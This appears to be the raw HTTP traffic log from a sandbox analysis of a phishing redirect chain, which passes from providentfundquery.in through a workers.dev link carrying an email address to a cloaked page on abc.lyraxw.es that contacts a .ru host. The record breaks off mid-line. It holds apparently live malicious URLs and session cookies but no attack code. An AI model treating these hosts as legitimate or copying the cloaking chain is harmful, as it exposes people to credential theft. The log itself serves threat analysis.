Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: providentfundquery.inConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://providentfundquery.in/vmail/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?email=ce6azz%40dxzvthq.co HTTP/1.1Host: dawn-dust-7616.kpapp.workers.devConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://providentfundquery.in/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /HX1rTg/ HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://providentfundquery.in/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /HX1rTg/ HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://providentfundquery.in/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNJdW1OcWE4UVlXR3BoN1dOOUZONGc9PSIsInZhbHVlIjoiTzh4LzB5M3dBNkNGdlRjeVhSb1NzeVgxY1JmU0t1amtIUUhIQ1lQM0xob1lCdjA1aVE3dE5QNEpLUW1sV0FBbjY5QWptUnprUnJkMWZzbW9XbldCSElTR0lMU2RJYTc5bHNvWHRmK2szZE81eGc4azByMWJONDB5eURHMExQSXIiLCJtYWMiOiI4NTU2YTdhNzMxNmM2NDM4Yzk5NjllZTAzMTc2Mzg5YTQwNzFhZTkyMjJkNTRhN2JlYzk4OTcxNjI1NGRlMmM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJPa211bFlxL0FGeTY5OEdpUFJVcnc9PSIsInZhbHVlIjoiQWtKZGNyb2UzV3VoTVJVQ3diN0FJbGFMUWVGVmdXQmRWMndsVEE2WWtXWTVYS1Z0eXhKa1E0UnFocWZsYmJJWWR6U3FteWsrTlZWU1dQdFZKblJQeWdwelpLd1VTK1BjNUNyMkhMNGJ4TStObWNpOXh5WXh6RnZXNWxmUXFwRTkiLCJtYWMiOiJjYWE4NGRiNGJhN2ZmNmMwNzkxMjQwNzhkYWRkZGNjM2FkNjdmZTYxMWFjYWQ2Nzc0ODJjMTI1NWE2YzYyNmMyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EQVQ6zEm.5nbnDD5ZBV1.eOUFMUj1mqbBvhAv1CIcwA-1742249498-1.0.1.1-TwuNIYql_C5XaauB1ZUTFrQBzcXSBPWHnq8MrtEo5dB3KML8mJFcGYuilTLwpulDPFZrAnQJHmzHOzw9KMACb3I7JNWTe74b17YLT_FTGvU
Source: global traffic	HTTP traffic detected: GET /bhanchod$4uyqregl HTTP/1.1Host: pb7t0b.jnfemo.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://abc.lyraxw.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bhanchod$4uyqregl HTTP/1.1Host: pb7t0b.jnfemo.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /HX1rTg/ HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://abc.lyraxw.es/HX1rTg/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNhdkREZFpxR1lzOUh3NGZRV0RNMXc9PSIsInZhbHVlIjoiV1BCaCtVd2p2MkJIbk40UkV2dnhMSTBHYnhsOVFtZkl4RXlqMXVqOFpGeHI2K2lpb1BNWHpJTDdXemVFNkk3RGVuUXRYS2FxVEdCWXBzZmVyUXVXbXpQRVB6L09raERIYzVpMS9NV3BlUUE4TUlEQVFSZVNqVGhFU3kzbnFQbnkiLCJtYWMiOiI4YWNmMDkxNDIxYzVkNmNjY2JkZGI2MGQ5Zjk3ZGNhODZjNDZhYTM2MmZhMmZlYTg1ZTE5ZDYyOTBjNWRjOThlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imgvbko4WDZOQVFqTEhjV2RsejIrOUE9PSIsInZhbHVlIjoiNFEvc1piRUhjKzE5ZThkM003NzdKZzczTnFBSUhuTnQ3ZytMK0tBS2FZbFZ6SmhDKy8rSENXbTQ4VTdsWkFNdzFUY0ZXQlE4Uk1YOHhlTkRZZnIyWHoyS2lhNXFaZ0FMYkVnbTkvdGhhUmRseGlOMFhNU0p1ODBaM1FzZ0h1N1AiLCJtYWMiOiJjYmYzZmZmMjBkYmM3NWE5ZjM3NWI4Mjk1YzJiNTg3NWNmN2RiNzQyZTY5YWUzOWRlMjYwYjI3ZDZhNjdjOTgwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /glBytjKUIFd02UrOLpXRLqo HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNhdkREZFpxR1lzOUh3NGZRV0RNMXc9PSIsInZhbHVlIjoiV1BCaCtVd2p2MkJIbk40UkV2dnhMSTBHYnhsOVFtZkl4RXlqMXVqOFpGeHI2K2lpb1BNWHpJTDdXemVFNkk3RGVuUXRYS2FxVEdCWXBzZmVyUXVXbXpQRVB6L09raERIYzVpMS9NV3BlUUE4TUlEQVFSZVNqVGhFU3kzbnFQbnkiLCJtYWMiOiI4YWNmMDkxNDIxYzVkNmNjY2JkZGI2MGQ5Zjk3ZGNhODZjNDZhYTM2MmZhMmZlYTg1ZTE5ZDYyOTBjNWRjOThlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imgvbko4WDZOQVFqTEhjV2RsejIrOUE9PSIsInZhbHVlIjoiNFEvc1piRUhjKzE5ZThkM003NzdKZzczTnFBSUhuTnQ3ZytMK0tBS2FZbFZ6SmhDKy8rSENXbTQ4VTdsWkFNdzFUY0ZXQlE4Uk1YOHhlTkRZZnIyWHoyS2lhNXFaZ0FMYkVnbTkvdGhhUmRseGlOMFhNU0p1ODBaM1FzZ0h1N1AiLCJtYWMiOiJjYmYzZmZmMjBkYmM3NWE5ZjM3NWI4Mjk1YzJiNTg3NWNmN2RiNzQyZTY5YWUzOWRlMjYwYjI3ZDZhNjdjOTgwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/HX1rTg/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhMOXRET0ZDdEJtZytaM3h0Z3hlWXc9PSIsInZhbHVlIjoiaEZDTkVOTWJaS3dWUy9RdWtnQllLZVF3K1R2WlVMZ1p5MW0yOW5meEM5OU9jU1U1YzNrMzdaSEp1ZDl6QjFmOHcvV2xnc2doTERXS2ZlRDVjbHpTc01rMHl5ZTNQNjZ4RWM4S1FjWEdjUjlSUllGcE5WUk1GaDlKbVFFRzlOUE4iLCJtYWMiOiJkZmY3YWE2NmYzOTQ1MjE1Yzc3ZGY3YzcxMDU0OTY0Y2UwNTJjZTk0ZGYzMGI0NGQ5YmY4ZmYxOGZiOGE3ZDgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilo1aUU3cTFnNUpWTDNZek9od0dpd3c9PSIsInZhbHVlIjoiS1FNVVQ3bzFPYWFWZFRTOXI1UE8xL0NENzZkNXZzZTAvR3ErVkJPMFppTlFoTi9oRldkWWJYZWxsK0J3Wks1YU9KeEtFTUlHazNUUGJCYWRwTXhsTHZLL0RCQmJhd2ZhSVhHYWthSjBKM2p5UFFldFVpcXFMeHFSczVFTlN6YXEiLCJtYWMiOiI4YTU2ZWZmMThiMTBjZGNjYzZkYTZmNmE3YzVlZThlZjg4ZmE1MzViNzdkNDdkOGQ2ZmNiNzczOWFhOWYwYjk2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kfAVOnbCDOBJsIbpoSXWLv0fluppYIKFpulqbrGKTCRx378hottrq0jy HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkdnY09NcFMzZjh1QkdsdCtDNlpvUkE9PSIsInZhbHVlIjoicVFHUWZ6bXRSQmFrc3hRVWZzdG0vU1hwUFVNRW5uMytLMFdLc05nMzZ1ektyekNoejRLbVc1RU5OZ0tPdll3NFNuMUxYdE9hd25MdGc5RzZDNFRIR2Npdm84WUw2YUpQWnRNOFo0V0RLOGFVd3EyZ3RibEh1NmZ0V2hQa1pSKzgiLCJtYWMiOiI2NDE4ZmU3MWFmNTgwNTI2MDQ3NDhmYzQ2ZTgwOTAwZWNiODYwYjc5ZTU2MWNlMjVhMzg3ZDdlOTBiMTZkYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNkT2x1M0RoakRZMCtMUTk3M0xSNWc9PSIsInZhbHVlIjoiOFVhdHNCdGdWYlliZHNDVFZTbk9mYzJwcUw3UmwrT2crNFZEbmYrZUNrZmZ2ZFI0dmJQdEZhbEJxYXFWemVlSTJIY1N1aHdQVnh3bkprMzZudjMxRWwvRU9jUkowR0cxWTlrZmtBbm5Geml5OVExZ1NKQlpEajRVRXdxRS9xYkUiLCJtYWMiOiJiZGFkZGNiMGEwYjlhY2E4ZTA4ZmM1ZWRhYTM4ZGRlNDYwYzhmOTVhY2QxZDM3ZjIxZjRhOTk1YjdlMGExOTA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://abc.lyraxw.es/HX1rTg/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkdnY09NcFMzZjh1QkdsdCtDNlpvUkE9PSIsInZhbHVlIjoicVFHUWZ6bXRSQmFrc3hRVWZzdG0vU1hwUFVNRW5uMytLMFdLc05nMzZ1ektyekNoejRLbVc1RU5OZ0tPdll3NFNuMUxYdE9hd25MdGc5RzZDNFRIR2Npdm84WUw2YUpQWnRNOFo0V0RLOGFVd3EyZ3RibEh1NmZ0V2hQa1pSKzgiLCJtYWMiOiI2NDE4ZmU3MWFmNTgwNTI2MDQ3NDhmYzQ2ZTgwOTAwZWNiODYwYjc5ZTU2MWNlMjVhMzg3ZDdlOTBiMTZkYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNkT2x1M0RoakRZMCtMUTk3M0xSNWc9PSIsInZhbHVlIjoiOFVhdHNCdGdWYlliZHNDVFZTbk9mYzJwcUw3UmwrT2crNFZEbmYrZUNrZmZ2ZFI0dmJQdEZhbEJxYXFWemVlSTJIY1N1aHdQVnh3bkprMzZudjMxRWwvRU9jUkowR0cxWTlrZmtBbm5Geml5OVExZ1NKQlpEajRVRXdxRS9xYkUiLCJtYWMiOiJiZGFkZGNiMGEwYjlhY2E4ZTA4ZmM1ZWRhYTM4ZGRlNDYwYzhmOTVhY2QxZDM3ZjIxZjRhOTk1YjdlMGExOTA0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56sBd2wacdImcQvY8914 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abtGFSFdrsecd30 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveOrigin: https://abc.lyraxw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveOrigin: https://abc.lyraxw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; 